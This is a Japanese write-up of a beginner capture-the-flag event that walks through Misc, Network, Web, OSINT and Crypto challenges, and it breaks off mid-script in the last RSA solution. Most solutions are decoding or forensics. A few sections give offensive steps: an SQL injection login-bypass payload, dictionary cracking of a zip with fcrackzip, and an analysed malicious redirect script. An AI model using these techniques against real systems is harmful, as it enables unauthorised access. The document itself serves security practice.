問題の難易度が初心者にとってちょうどよく、期間も2週間だったためじっくり取り組むことができました。


Misc

morse_one (30)

友人から「秘密のメッセージを送るね」とあるテキストファイルが送られてきました。どうやらそのままでは読めないようです。添付されたファイルを解析し、秘密のメッセージを見つけ出してください。 フラグは得られた文字列を flag{} で囲んで答えてください。フラグに英字が含まれている場合はすべて大文字で答えてください。例えば得られた文字列が Flag の場合は flag{FLAG} となります。

問題名からモールス符号だと予想できます。 与えられたtxtファイルをみるとDとBとSからなる文字列なので、それぞれが"ツー"と"トン"と区切り文字に対応するのでしょうということでhttps://morsedecoder.com/で入れてみると"B"→"ツー"、"D"→"トン"、"S"→"区切り文字"でした。
morse_one.txt

DDDBSDDSBDDDSDBDSBBBSDBBDSDBDDSDSBDDB

FLAG: flag{VIBROPLEX}


Hash (50)

ちくしょう、なんてことだ。知り合いから預かっていたファイルをゴミ箱に放り込みやがった。まだ中身の確認もしていなかったのにだ。問い詰める必要はあるだろうが、いまはとにかくファイルを取り戻すことが先決だ。優先順位を間違えてはいけない。とくにかくゴミ箱からファイルを取り戻さなくては。・・・なんだぁこいつは、ファイル名が書き換えられてしまっているじゃあないか。なんて野郎だクソっこれじゃほかのファイルと見分けがつかないじゃあないか。なんて日なんだ今日はよぉ。しかしまったくもって腹立たしいことは確かだが、まだ焦るのは早すぎるよなぁ。ぜんぜん焦る必要はねぇ。なぜならこっちにはファイルと共に受け取ったこのハッシュ値があるんだからよぉ・・・
添付ファイルを解析し、以下のハッシュ値を持つファイル見つけ出してください。フラグはそのファイルに記載されている文字列を組み合わせたものとなります。
aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7
8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb
e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962

hash値の長さは64ですのでsha256とか。たくさんダミーのファイルが与えられているので全部hash値を計算してこの3つになるものだけ出力します

$ ls hash/
pass001.txt	pass009.txt	pass017.txt	pass025.txt	pass033.txt	pass041.txt	pass049.txt	pass057.txt	pass065.txt	pass073.txt	pass081.txt	pass089.txt
pass002.txt	pass010.txt	pass018.txt	pass026.txt	pass034.txt	pass042.txt	pass050.txt	pass058.txt	pass066.txt	pass074.txt	pass082.txt	pass090.txt
pass003.txt	pass011.txt	pass019.txt	pass027.txt	pass035.txt	pass043.txt	pass051.txt	pass059.txt	pass067.txt	pass075.txt	pass083.txt
pass004.txt	pass012.txt	pass020.txt	pass028.txt	pass036.txt	pass044.txt	pass052.txt	pass060.txt	pass068.txt	pass076.txt	pass084.txt
pass005.txt	pass013.txt	pass021.txt	pass029.txt	pass037.txt	pass045.txt	pass053.txt	pass061.txt	pass069.txt	pass077.txt	pass085.txt
pass006.txt	pass014.txt	pass022.txt	pass030.txt	pass038.txt	pass046.txt	pass054.txt	pass062.txt	pass070.txt	pass078.txt	pass086.txt
pass007.txt	pass015.txt	pass023.txt	pass031.txt	pass039.txt	pass047.txt	pass055.txt	pass063.txt	pass071.txt	pass079.txt	pass087.txt
pass008.txt	pass016.txt	pass024.txt	pass032.txt	pass040.txt	pass048.txt	pass056.txt	pass064.txt	pass072.txt	pass080.txt	pass088.txt
$ shasum -a 256 hash/* | grep -e "aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7" -e "8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb" -e "e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962"
aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7  hash/pass024.txt
8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb  hash/pass034.txt
e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962  hash/pass079.txt
$ cat hash/pass024.txt hash/pass034.txt hash/pass079.txt
flag{hardest
_logic_
puzzle}

FLAG: flag{hardest_logic_puzzle}


F (80)

友人のプログラマーからあるテキストデータを受け取りました。中身はあるプログラミング言語で書かれたプログラムだというのですが、、、
以下のテキストデータを解析し、フラグを得てください。
+++++++[->++++++++++>+++++++++++>+++++++++>++++++++++<<<<]>.>-.>++.>+.>++++++++[>++++<-]>.>+++++[->+++++++++++++++++++++>+++++++++++++++++++++++<<]>.>.>++++++++[>++++<-]>.>++++++++++[->++++++++++>++++++++++>++++++++++>++++++++++>++++++++++++<<<<<]>++.>++++++++.>---.>+++.>+++.>++++++++[>++++++++<-]>++++.>+++++++++++[>++++++++++>++++++++++<<-]>+.>.>++++[>++++++++++<-]>-.>+++[->+++++[->++++++++<]<]>>----.>++++++++++[->++++++++++>+++++++++>++++++++++++>++++++++++>+++++++++<<<<<]>-----.>-----.>-----.>+.>+++++.>++++++++++++++++++++[>++++++>+++++>+++++>+++++>+++>++<<<<<<-]>----.>++++.>+.>-----.>++++++++++.>+++++.>++++++++++[->+++++++++>+++++++++++>+++++++++++>++++++++++<<<<]>---.>+.>++++.>.>+++[->+++++++++++<]>..>+++++[->+++++[->+++++<]<]>>.

Brainfuckというプログラミング言語です。 全然読めませんがここで実行できます。 実行するとフラグが得られます。

FLAG: flag{Don't_Use_the_F-Word!!}


magic_number (80)

添付されたファイルから以下が示す3つのファイルを探してください。
[89 50 4e 47]
[52 61 72 21]
[ff d8 ff e0]
フラグは該当するファイル名を以下の順番にアンダースコアでつないで回答してください。
flag{[89 50 4e 47]_[52 61 72 21]_[ff d8 ff e0]}
例えばファイル名がそれぞれ以下の場合は flag{aaa_bbb_ccc} と答えてください。
[89 50 4e 47] = aaa.txt
[52 61 72 21] = bbb.exe
[ff d8 ff e0] = ccc.zip

1つめの[89 50 4e 47]がPNGの先頭4バイトと同じですので、他二つもいずれかのファイルの先頭4バイトだと予想して検索するとそれぞれ.rarファイルと.jpgファイルでした。 ですので該当するファイルは"post.png"と"rar.rar"と"light.jpg"になります。

FLAG: flag{post_rar_light}


Stegano (100)

友人からある画像が送られてきました。何かが写りこんでいるらしいのですが。 添付されたファイルを解析してフラグを入手してください。

flagが3箇所に分けて隠してあります。全てstegsolveでみれます。

FLAG: flag{Re4l17y_1s_cReA73d_by_7h3_m1nd_rA9}


morse_zero (100)

友人から「マジの秘密のメッセージを送るね」とあるテキストファイルが送られてきました。どうやらマジでそのままでは読めないようです。添付されたファイルを解析し、マジの秘密のメッセージを見つけ出してください。 フラグは得られた文字列を flag{} で囲んで答えてください。フラグに英字が含まれている場合はすべて大文字で答えてください。例えば得られた文字列が Flag の場合は flag{FLAG} となります。

.txtファイルを見ると"ZZZZZ.."と書いてありますが、見えている文字量に対してファイルサイズが大きいことがわかります。
バイナリエディタで開いてみると見えていない部分があることがわかります。
よくみると見えている"Z(5A)"以外には"E2 80 8C"と"E2 80 8B"の並びしかないことがわかります。したがってこれらが"ツー"か"トン"に対応しているのでしょう。
https://morsedecoder.com/で入れてみると正解でした。

FLAG: flag{ZER0_W1DTH_SPACE}


ransom_note (100)

あなたの元に緊急の対応依頼が飛び込んできました。重要なファイルがランサムウェアによって暗号化されてしまった。なんとか助けてほしい。電話越しに状況を聞き取りつつ、1枚の画像が送られてきました。端末のディスプレイを写したもののようです。「No More Ransom Project の出番だな。」その画像を見た上司がつぶやきます。今回のあなたの仕事はランサムウェアによって暗号化されてしまったファイルを復元することです。 添付されたファイルを解析し、フラグを得てください。

調べるとGandCrabというランサムウェアで暗号化されていることがわかりました。
GandCrabで暗号化されたファイルを復号するツールがこちらのサイトでダウンロードできます。
使うとflagが出てきます。

FLAG: flag{unlock1ng_y0ur_d1gital_life_with0ut_paying;)}


Nothing (120)

あなたは友人のプログラマーからあるテキストファイルを渡されました。中身を確認しますが画面には何も表示されません。何も書かれていないのか、いや、よく見ると、、、 添付されたファイルを解析してフラグを得てください。

何も見えませんが空白文字が含まれています。調べるとWhitespaceという「スペース・Tab・LF」で書くプログラミング言語らしいです。 https://ideone.com/で実行できます。

FLAG: flag{And_Then_There_Were_None}


i_knew_it (120)

「このアセンブリ、見た瞬間あなただと分かりましたよ。」 ある暗号方式の名称がフラグになっています。添付ファイルからその暗号方式の名称を特定し、フラグ形式で回答してください。 フラグに英字が含まれている場合は、すべて大文字で答えてください。例えば This_is_FLAG が得られた場合は flag{THIS_IS_FLAG} となります。

結果からいうとRC4の暗号化アルゴリズムですが、これを見てRC4とわかったというよりRC4じゃないかと予想をたてて確認してみたらあってたという感じです。
RC4はKSA(Key-scheduling algorithm)とPRGA(Pseudo-random generation algorithm)の2段階の処理で擬似乱数を生成し、そいつと平文とをXORする暗号です。 画像の右側がKSA、左側がPRGAになっています。

FLAG: flag{RC4}


Redacted (150)

あなたの友人のジャーナリストは極秘ファイルの入手に成功しました。ですが重要な部分が黒塗りにされてしまっているようです。このままでは真実が闇に葬り去られてしまいます。あなたは極秘ファイルの解析を依頼されました。添付されたファイルを解析し、真実を明らかにしてください。

与えられたpdfファイルをMicrosoft Wordで開くとフラグを隠している黒い部分を移動させられました。

FLAG: flag{weather_balloon}


strong_password (250)

あなたの同僚は部署内で利用されているパスワード規則に疑問を抱いているようです。脆弱なパスワードが生成されてしまうのではないかと。これを確かめるべく同僚は、過去実際にこの規則に従い作成されていたパスワード付きzipのコピーをあなたに送付し、その解析を依頼しました。 添付されたファイルを解析し、フラグを入手してください。なお、ファイルはコピーであり更新日時が実際にパスワード設定された日時とは異なる点に注意してください。

添付されているpdfファイルをみると、パスワードの生成規則は以下です。

こう与えられている以上辞書を作って攻撃しなさいということかと思って辞書を作りました。
とりあえず数を減らすために日付のところは20210101から20210901までに絞りました。(それでもずいぶんでかいファイルになりましたが)
辞書を作ったらfcrackzipで解析し、パスワードを特定、zipファイルを解凍したらflagが得られます。

$ fcrackzip -u -D -p password_list.txt TopSecret.zip
PASSWORD FOUND!!!!: pw == qYL%20210228!

FLAG: flag{And_n0w_h3re_is_my_s3cre7}


Network

Host (30)

あなたはある通信を保存したファイルを受け取りました。添付されたファイルを解析し、通信先の Web サーバのホスト名を特定してください。 フラグはホスト名をフラグ形式で答えてください。例えばホスト名が host.example.com であった場合、フラグは flag{host.example.com} となります。

pcapファイルを開いてhttp通信を見ます。

FLAG: flag{ctf.setodanote.net}


tkys_never_die (50)

うまく爆発を避けれられているといいが。爆発音とともに通信が途切れる間際、後輩からデータが送られてきました。ターゲットが重要なファイルにアクセスしたことを示す証拠だと言い残して。後輩のためにもデータを解析し、重要なファイルの内容を特定してください。 添付されたファイルを解析し、フラグを得てください。

pcapファイルを開く > ファイル > オブジェクトをエクスポート > HTTP でみれます。

FLAG: flag{a_treasure_trove}


echo_request (120)

組織内の通信を監視している部署から不審な通信データがあるので解析をしてほしいと依頼がありました。通信自体は許可されたプロトコルが使用されているようですが、、、 添付されたファイルを解析し、フラグを入手してください。

echo requestのパケットをみていくとNo.29からデータの最後の1バイトがflagになっていることがわかります。

FLAG: flag{ICMP_Tunneling_T1095}


stay_in_touch (150)

あなたはある事件の調査としてある人物の通信を監視しています。どうやら誰かと連絡を取り合っているようです。通信データファイルを解析し、やりとりの内容を明らかにしてください。 添付されたファイルを解析し、フラグを入手してください。

pcapファイルをwiresharkで開いて、[分析] > [追跡] > [TCP] からみていくとストリーム12でzipファイルを添付したメール、ストリーム14でzipファイルパスワードが得られます。
小さいサイズだったのでコピペして以下のようにしました。

$ python3
>>> import base64
>>> with open("a.zip","wb") as f:
...     f.write(base64.b64decode("UEsDBBQAAQAAADBq8FK0Nz5zSgAAAD4AAAATAAAAUmVwb3J0LUFWLVQwMDk3LnR4dAzRMzm6s5vAM3huF0n2GEKFrarxVD3WvzurjKz9sjA7iD6nWis0GBRcIdcyrQkqliocBi2lCUB6J0hRUgHzDVCnVx6LnLS5LenqUEsBAj8AFAABAAAAMGrwUrQ3PnNKAAAAPgAAABMAJAAAAAAAAAAgAAAAAAAAAFJlcG9ydC1BVi1UMDA5Ny50eHQKACAAAAAAAAEAGADNWpx++XnXARJtllL6edcB0TOVfvl51wFQSwUGAAAAAAEAAQBlAAAAewAAAAAA"))
...
246
>>>
$ unzip a.zip
Archive:  a.zip
[a.zip] Report-AV-T0097.txt password:
 extracting: Report-AV-T0097.txt
$ cat Report-AV-T0097.txt
This is Flag.

 flag{SoNtOkIhAmOuKaTaHoUmOtSuMuRuNoSa;)}

FLAG: flag{SoNtOkIhAmOuKaTaHoUmOtSuMuRuNoSa;)}


Web

Body (30)

作成中のサイトに機密情報が含まれてしまっているようです。サイトにアクセスして機密情報を見つけ出してください。 以下のサイトにアクセスして隠されたフラグを見つけてください。
https://ctf.setodanote.net/web001/

htmlファイル内にコメントアウトされています

FLAG: flag{Section_9}


作成中のサイトを管理しているサーバに問題があり、機密情報が漏洩しているようです。サイトにアクセスして機密情報を特定してください。 以下のサイトにアクセスして隠されたフラグを見つけてください。
https://ctf.setodanote.net/web002/

問題文からHTTP Headerを確認します。

$ curl -I https://ctf.setodanote.net/web002/
...
x-setodanotectf-flag: flag{Just_a_whisper}
...

FLAG: flag{Just_a_whisper}


puni_puni (80)

近所の子供から「ぷにぷにこーどあげるね」と1枚の紙を手渡されました。見ると子供の字とは思えない正確な書体で英数字がびっしりと書き込まれています。これはいったい。そう聞こうとしましたが、紙に意識を取られた一瞬のうちにその子供はいなくなっていました。 紙に書かれた文字列を解析し、フラグを入手してください。フラグは得られた文字列を flag{} で囲んで答えてください。例えば flag が得られた場合は flag{flag} と入力します。
xn--q6jaaaaaa08db0x8nc9t1b8fsviei84atb4i0lc
xn--q6jaaaaa03dpd4mb3jc5rpa0g9jpk07acadc.
xn--q6jylla3va3j6c8138a8eptvb303cxv4ft3o4ue63a
xn--v8ja6aj2a3cri3ag4a2r6cx2a1rkk1272c7j4ajd4bmf0kjhg6rb.
xn--q6j6gav1a0b2e1bh1ac2cl29ad7728kdjen6cz80dju6bqexchl9gel8b.

xn--から始まる文字列はpunycode表記に変換されたものです。
ここで変換できます。 変換すると以下のようになります
フラグは、さん、さん、ピー、ユー、エヌ、ワイ、シー、オー、ディー、イー、よん、よん、です.カタカナ表記は半角英小文字に、ひらがな表記は半角数字にしたものがフラグです.なお、読点は区切り文字なので取り除いてください.

FLAG: flag{33punycode44}


Mistake (100)

作成中のサイトに不備があると外部から指摘を受けています。どうやら機密情報が漏れてしまっているようです。サイトにアクセスして機密情報を特定してください。 以下のサイトにアクセスして隠されたフラグを見つけてください。
http://ctf.setodanote.net/web003/

ページのソースコードをみるとflag形式の記述の部分にWebserver directory index?とコメントで書かれていることがわかります。
ここからディレクトリリスティングが可能ではないかと予想します。
assets/images/ディレクトリがあることはわかるのでその辺の中身をみてみるとimages/pic_flag_is_here.txtがありました。

FLAG: flag{You_are_the_Laughing_Man,_aren't_you?}


tkys_royale (120)

んー、このサイトには重大な脆弱性があります。そう切り出してきた相手の姿にあなたは言葉が出ません。それは音信不通となっていた後輩の生き写し。聞きたいことが山ほどありますが、まずはサイトの脆弱性を修正しなければなりません。サイトを解析し、脆弱性を特定してください。 以下のサイトにアクセスしてフラグを得てください。
https://ctf.setodanote.net/web005/

とりあえず
username: admin
password: ' or 1=1; --
で入力したらいけました。

FLAG: flag{SQLi_with_b1rds_in_a_b34utiful_landscape}


Estimated (120)

組織の関連サイトを監視している部署から「どうやら局長ブログで機密情報が漏洩しているようだ」と連絡が入りました。一部SNSで言及されているものの、幸いにしてまだ広まってはいないようです。なんとか穏便にすませたい上司に配慮し、被害を最小にすべくサイトを調査し漏洩している機密情報を特定してください。 以下のサイトにアクセスしてフラグを得てください。
https://ctf.setodanote.net/web006/

サイトにアクセスするとお詫びという投稿がありました。以下のような内容です。 この投稿から2021年6月2日に投稿した画像の内にフラグに関わる情報があることがわかります。

各ブログ記事及び掲載されている画像のURLは日付に基づいているようなので日付の数字を変えればokです。
ブログ記事自体は削除されていましたが
https://ctf.setodanote.net/web006/images/20210602001b.jpg
に画像は残っていました。 画像内にflagが写っていました。

FLAG: flag{The_flag_wouldn't_like_to_end_up_in_other_peoples_photos}


Mx.Flag (150)

旗から手紙が届きました。
親愛なる貴方へ
こうして貴方に手紙を送るのは初めてですね。
実はとてもうまく隠れることができたので、嬉しくなりこのような手紙を送ることにしました。
どうか私を見つけてくれますか?

以下のサイトにアクセスしてフラグを得てください。
https://ctf.setodanote.net/web007/

faviconにフラグが隠されていました。

$ curl https://ctf.setodanote.net/web007/images/favicon.png
// flag{Mr_Flag_hiding_in_the_favicon}
console.table({place: "favicon.png", png: "false", flag: "true", Look: "me"});

FLAG: flag{Mr_Flag_hiding_in_the_favicon}


Redirect (150)

組織の関連サイトを監視している部署から「どうやら会長ブログが何らか侵害を受けてしまっているようだ」と連絡が入りました。再現方法が不明なものの、一部の訪問者から不審なサイトに飛ばされてしまうという指摘がされているようです。上司は休暇で不在ですが特に支障はありません。被害を最小にすべくサイトを調査し侵害状況を把握してください。
以下のサイトにアクセスしてフラグを見つけ出してください。
https://ctf.setodanote.net/web004/

上記webページをみるとscriptタグ内に以下のようなリダイレクト処理が書かれています。
直線のページのドメインがwww.google.co.jpwww.google.comだった場合にaHR0cHM6Ly9jdGYuc2V0b2Rhbm90ZS5uZXQvd2ViMDA0L2JXRnNhMmwwLmh0bWw=にリダイレクトするみたいです。
base64エンコードされているのでデコードするとhttps://ctf.setodanote.net/web004/bWFsa2l0.htmlでした。

!function(){var ref = document.referrer;var domain = ref.match(/^http([s]?):\/\/([a-zA-Z0-9-_\.]+)(:[0-9]+)?/)[2];if(domain == "www.google.com" || domain == "www.google.co.jp" ){location.href = atob('aHR0cHM6Ly9jdGYuc2V0b2Rhbm90ZS5uZXQvd2ViMDA0L2JXRnNhMmwwLmh0bWw=');}}();

このページにブラウザでアクセスすると何度かリダイレクトをした後にhttps://ctf.setodanote.net/web004/ZGFtbXlmbGFn/?callback=wantFlag&data1=2045&data2=0907&data3=BiancoRoja&data4=1704067200に行きつきました。
勝手にリダイレクトしないようにcurlコマンドで追って行ってみます。

$ curl https://ctf.setodanote.net/web004/bWFsa2l0.html
...
        var params = new URL(window.location.href).searchParams;
        if(Array.from(params).length > 0){
          location.href = 'https://ctf.setodanote.net/web004/bm9mbGFn/?'+params;
        }else{
          location.href = 'https://ctf.setodanote.net/web004/bWFsa2l0.html?callback=wantFlag&data1=2045&data2=0907&data3=BiancoRoja&data4=1704067200';
        }
      }();
...

一つ目のページはパラメータがついているかでリダイレクト先が変わっています。
パラメータがついていない場合にはパラメータとしてcallback, data1, data2, data3, data4をつけて同じページにリダイレクトしています。
ですので、このパラメータを条件分岐の上側のURLにつけてアクセスします。
アクセスすると2回ほど無条件でリダイレクトした後以下のようにまた条件分岐するページに行きつきます。

var params = new URL(window.location.href).searchParams;
        if (params.get('callback') == 'getFlag') {
          location.href = 'https://ctf.setodanote.net/web004/dGFjaGlrb21hX2thd2FpaV95b25l/?' + params;
	}else{
          location.href = 'https://ctf.setodanote.net/web004/ZGFtbXlmbGFn/?' + params;
	}

ここでパラメータcallbackgetFlagであれば上の条件のURLにリダイレクトしますので変えてやります。
最終的にhttps://noisy-king-d0da.setodanote.net/?callback=getFlag&data1=2045&data2=0907&data3=BiancoRoja&data4=1704067200に行き着くとflagが得られます。

FLAG: flag{Analyz1ng_Bad_Red1rects}


OSINT

tkys_with_love (30)

だいぶ元気なようだ。長期休暇中の後輩からメッセージが届きました。「どこにいると思います?コールサイン C6DF6 の上ですよ!!」どうやら何か乗り物に乗っているようです。後輩が何に乗っているのか特定してください。 フラグは後輩がいるという乗り物の正式名称を flag{} で囲んで答えてください。名称に空白が含まれている場合はアンダースコアでつないで回答してください。例えば This is a FLAG が名称である場合は flag{This_is_a_FLAG} のように答えてください。

"C6DF6" で調べてみると「Symphony of the Seas」という船のコールサインでした

FLAG: flag{Symphony_of_the_Seas}


Dorks (50)

あなたは組織が所有するドメインに関係するサイトの中で login.php が不用意に公開されていないかを Google を使って確認するように依頼を受けました。login.php が利用されているかどうかは、ある5文字の検索演算子をひとつ使えば調査することができそうです。 Google で login.php を URL に含むページを検索するための検索語句を検索演算子を含めてすべて小文字 でフラグ形式にして答えてください。 例えばファイルタイプを限定する filetype の検索演算子で pdf を検索するための検索語句を答える場合は flag{filetype:pdf} となります。

"google 検索演算子 一覧"で調べてみると、inurl:という検索演算子がURL内に特定の単語を含むページを検索する際に利用できると知りました

FLAG: flag{inurl:login.php}


filters_op (50)

Twitter アカウント @cas_nisc が2017年5月15日にツイートした注意喚起に付与されている英字のハッシュタグをフラグ形式で答えてください。 例えば付与されていたのが「#HashTag」であればフラグは flag{#HashTag} となります。

ツイート検索でアカウントと期間を指定すればいいです
"from:cas_nisc since:2017-05-15 until:2017-05-16"

FLAG: flag{#WannaCrypt}


MAC (50)

友人が簡単な暗号を作ったから意見を聞かせてほしいと言ってきました。公開情報に基づき解くことができるといいます。あなたは暗号文を解いてみることにしました。
00:03:93 = A
00:01:A9 = B
04:2A:E2 = C
上記の通り変換されるとき、以下の文字列はどうなるか。
flag{2C:C2:60_FC:EC:DA_00:02:B3_AC:44:F2_FC:4E:A4}
暗号文を解きフラグを得てください。

問題名からMACアドレスと予想してhttps://uic.jp/mac/で検索してみるとそれぞれ Vendor name の最初の文字に対応していることがわかります
調べてみると以下のようになりました 2C:C2:60 → O
FC:EC:DA → U
00:02:B3 → I
AC:44:F2 → Y
FC:4E:A4 → A

FLAG: flag{O_U_I_Y_A}


tkys_eys_only (50)

送られてきたデータが端末に表示されます。後輩の活躍により、監視対象者が操作していた端末画面の取得に成功しました。映し出された画面はある組織の所在地に関する情報を含んでいます。画像を解析し、所在地に最も関係する組織名を特定してください。 添付されたファイルを解析し、所在地に最も関係する組織の名称を英語表記で答えてください。名称にスペースがある場合はアンダースコアに置換しフラグ形式で回答してください。 例えば組織名が Government Communications Headquarters だった場合は flag{Government_Communications_Headquarters} となります。

添付されている画像ファイルには緯度経度の情報が写っていました
検索すると国際連合のビルがありました

FLAG: flag{United_Nations}


MITRE (100)

識別子があることを知っておくことは共通の認識をもつために必要なことでしょう。ですが、すべての識別子を覚える必要はないと思います。そういう理由で私はこの課題に必要性を感じません。そう説得したが教官は首を縦に振ってはくれなかった。そして、私はこれからこの文字列を解読しなければならない。
T1495T1152T1155T1144 T1130T1518 flag{T1170T1118T1099T1496T1212_T1531T1080T1127T1020T1081T1208_T1112T1098T1199T1159T1183T1220_T1111T1147T1220}
フラグに英字が含まれる場合はすべて大文字で答えてください。

問題名からT+数字4桁は MITRE ATT&CK のIDであると予想できます
該当するIDの名前の1文字目をとってくると、flag{の前がFLAG ISになることから、この方法が正しそうだとわかります
あとはhttps://www.attack-mitre-japan.com/techniques/enterprise/で1つずつ調べました

FLAG: flag{MITRE_ATTACK_MATLIX_THX}


Ropeway (120)

休暇中の同僚から写真が送られてきました。あるロープウェイから撮られた写真とのこと。そしてもし写真から撮影場所が特定できたらいい地酒をお土産に買ってくれると言います。あなたは仕掛中の仕事を脇に置き、写真の解析を始めました。
添付されたファイルを解析し、ロープウェイ名称を英小文字のフラグ形式で答えてください。例えばロープウェイの名前が「瀬戸田ロープウェイ」の場合、フラグは flag{setoda} となります。

google画像検索で見つかりました

FLAG: flag{kanzanji}


Crypto

base64 (50)

組織に入ったばかりの新人からチャットが来ました。ですが普通の文字列ではなく暗号文になっているようです。どうやら新人は暇なようです。 以下の文字列を解読して、フラグを獲得してください。
ZmxhZ3tJdCdzX2NhbGxlZF9iYXNlNjQhfQ==

base64でエンコードされているのでデコードします

FLAG: flag{It's_called_base64!}


ROT13 (50)

組織でも指折りの経験豊富なベテランからチャットが来ました。ですが普通の文字列ではなく暗号文になっているようです。どうやらこのベテランも暇なようです。 以下の文字列を解読して、フラグを獲得してください。
synt{Rira_lbh_Oehghf?}

問題名の通りROT13します

FLAG: flag{Even_you_Brutus?}


pui_pui (80)

組織の局長からチャットが来ました。ですが普通の文字列ではなく暗号文になっているようです。どうやらこの組織には暇人しかいないようです。 以下の文字列を変換して、フラグを獲得してください。
\x41\x3a\x44\x6f\x20\x79\x6f\x75\x20\x6b\x6e\x6f\x77\x20\x4d\x6f\x6c\x63\x61\x72\x3f\x0a\x0a\x42\x3a\x4f\x66\x20\x63\x6f\x75\x72\x73\x65\x21\x20\x49\x20\x6c\x6f\x76\x65\x20\x74\x68\x65\x20\x73\x63\x65\x6e\x65\x20\x77\x68\x65\x72\x65\x20\x68\x65\x20\x73\x69\x6e\x6b\x73\x20\x69\x6e\x74\x6f\x20\x74\x68\x65\x20\x62\x6c\x61\x73\x74\x20\x66\x75\x72\x6e\x61\x63\x65\x20\x77\x68\x69\x6c\x65\x20\x67\x69\x76\x69\x6e\x67\x20\x74\x68\x65\x20\x74\x68\x75\x6d\x62\x73\x20\x75\x70\x2e\x0a\x0a\x41\x3a\x2e\x2e\x2e\x20\x57\x68\x61\x74\x3f\x0a\x0a\x42\x3a\x62\x74\x77\x2c\x20\x74\x68\x65\x20\x66\x6c\x61\x67\x20\x69\x73\x20\x66\x6c\x61\x67\x7b\x48\x61\x76\x65\x5f\x79\x6f\x75\x5f\x65\x76\x65\x72\x5f\x68\x65\x61\x72\x64\x5f\x6f\x66\x5f\x48\x65\x78\x64\x75\x6d\x70\x3f\x7d\x2e\x0a

16進数になっていますね。 cyberchefとかで戻します。

FLAG: flag{Have_you_ever_heard_of_Hexdump?}


tkys_secret_service (120)

分担が一区切りし拠点に立ち寄っていた後輩から、あなたが3か月前に送ってきたチャットが結局なんだったのか解けないでいると話しかけられました。そういえば暇だったから意味もなく秘匿回線で内偵中の後輩に暗号文を送っていたことを思い出します。 以下の文字列を解析してフラグを入手してください。
Gur cevgrsgbvh vp Pvhgevyyrq Hhsynmmbpbrq Vhpvezngbvh (PHV) ermbqrhg bh hvhprqreny mlmgrzm nhq vetnhbfngbvhm bm vp cnenzvahg bzcvegnhsr gv prqreny ntrhsbrm nhq snh qbersgyl bzcnsg gur nobybgl vp gur prqreny tvirehzrhg gv massrmmpayyl svhqasg bgm rmmrhgbny zbmmbvhm nhq pahsgbvhm. Gubm caoybsngbvh cevibqrm ntrhsbrm jbgu ersvzzrhqrq mrsaebgl erdaberzrhgm pve cevgrsgbht gur svhpbqrhgbnybgl vp PHV jurh gur bhpvezngbvh bm ermbqrhg bh hvhprqreny mlmgrzm nhq vetnhbfngbvhm; jurh gur hvhprqreny vetnhbfngbvh bm hvg svyyrsgbht ve znbhgnbhbht bhpvezngbvh vh orunyp vp n prqreny ntrhsl ve ambht ve vcrengbht n mlmgrz vh orunyp vp nh ntrhsl; nhq jurer gurer ner hv mcrsbpbs mnprtaneqbht erdaberzrhgm pve cevgrsgbht gur svhpbqrhgbnybgl vp Synt bm pynt{cabcab_sne_vp_zvy} PHV cermseborq ol gur naguvebfbht ynj, ertayngbvh, ve tvirehzrhgjbqr cvybsl pve gur PHV sngrtvel ybmgrq bh gur PHV Ertbmgel. Gur erdaberzrhgm nccyl gv nyy svzcvhrhgm vp hvhprqreny mlmgrzm nhq vetnhbfngbvhm gung cevsrmm, mgver, nhq/ve genhmzbg PHV, ve gung cevibqr cevgrsgbvh pve masu svzcvhrhgm. Gur mrsaebgl erdaberzrhgm ner bhgrhqrq pve amr ol prqreny ntrhsbrm bh svhgensgany irubsyrm ve vgure nterrzrhgm rmgnoybmurq orgjrrh guvmr ntrhsbrm nhq hvhprqreny vetnhbfngbvhm.

最初の方の"Pvhgevyyrq Hhsynmmbpbrq Vhpvezngbvh (PHV)"は前3単語の頭文字を後の括弧内に書いてるようですが、同じ文字に変換されているため単換字式暗号だろうと予想できます。 http://www.net.c.dendai.ac.jp/crypto/histogram2.htmlで地道に解析しました。 暗号文の後半あたりの"pynt{cabcab_sne_vp_zvy}"が"flag{...}"であろうことや出現頻度の最も多い"r"が"e"だろうことから推測を初めて連鎖的に対応づけていきます。

FLAG: flag{puipui_car_of_mol}


lets_bake (150)

あなたはシェフ帽の人物からレシピを受け取りました。どうやら組織からの秘密のメッセージのようです。レシピを解読し、秘密のメッセージを入手してください。
Input:
NzRmNDRiMWE0Y2M2ZGNiNzc3NTMyNTcwZjk0MTE4NTMyNTcxZjE1YTE1NTJkY2M0
Recipe:
RnJvbV9CYXNlNjQoJ0EtWmEtejAtOSsvPScsdHJ1ZSkN]b2[sRnJvbV9IZXgoJ05vbmUnKQ0=]b2[sRm9yaygnJScsJ18nLGZhbHNlKQ0=]b2[sUkM0KHsnb3B0aW9uJzonVVRGOCcsJ3N0cmluZyc6J2NoZWYnfSwnTGF0aW4xJywnTGF0aW4xJyk=

問題名と問題文からCyberChefが思い当たります。
RecipeにはCyberChefのレシピがbase64でエンコードされた形で4つ含まれています。
最初]b2[で区切られていると思いましたが、それだと二つ目以降のレシピがおかしなことになります。
base64でエンコードされている文字列は4の倍数の長さになるはずですが、]b2[を区切りにすると4の倍数+1文字の長さになります。
したがって]b2[sまでを区切り文字として見れば文字数的には合うなと思い、これでやってみました。
デコードした結果4つのレシピは以下でした。
・From_Base64('A-Za-z0-9+/=',true)
・From_Hex('None')
・Fork('%','_',false)
・RC4({'option':'UTF8','string':'chef'},'Latin1','Latin1')
あとはCyberChefでこのレシピにInputを与えればflagがでます。

FLAG: flag{hello_baked_cipher}


vul_rsa_01 (200)

あなたは組織の定期研修に参加しています。教官から RSA 暗号の禁止事項くらいは覚えておくようにと課題が出題されました。どうやら暗号文 c を解くことができればそれだけ早く帰れるようです。 以下の RSA 暗号を解読してフラグを入手してください。
c: 39119617768257067256541748412833564043113729163757164299687579984124653789492591457335
n: 13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257
e: 65537

nが小さいので素因数分解が可能です。
このサイトでp,qを求めれば普通に復号できます。
solve.py

from Crypto.Util.number import inverse, long_to_bytes

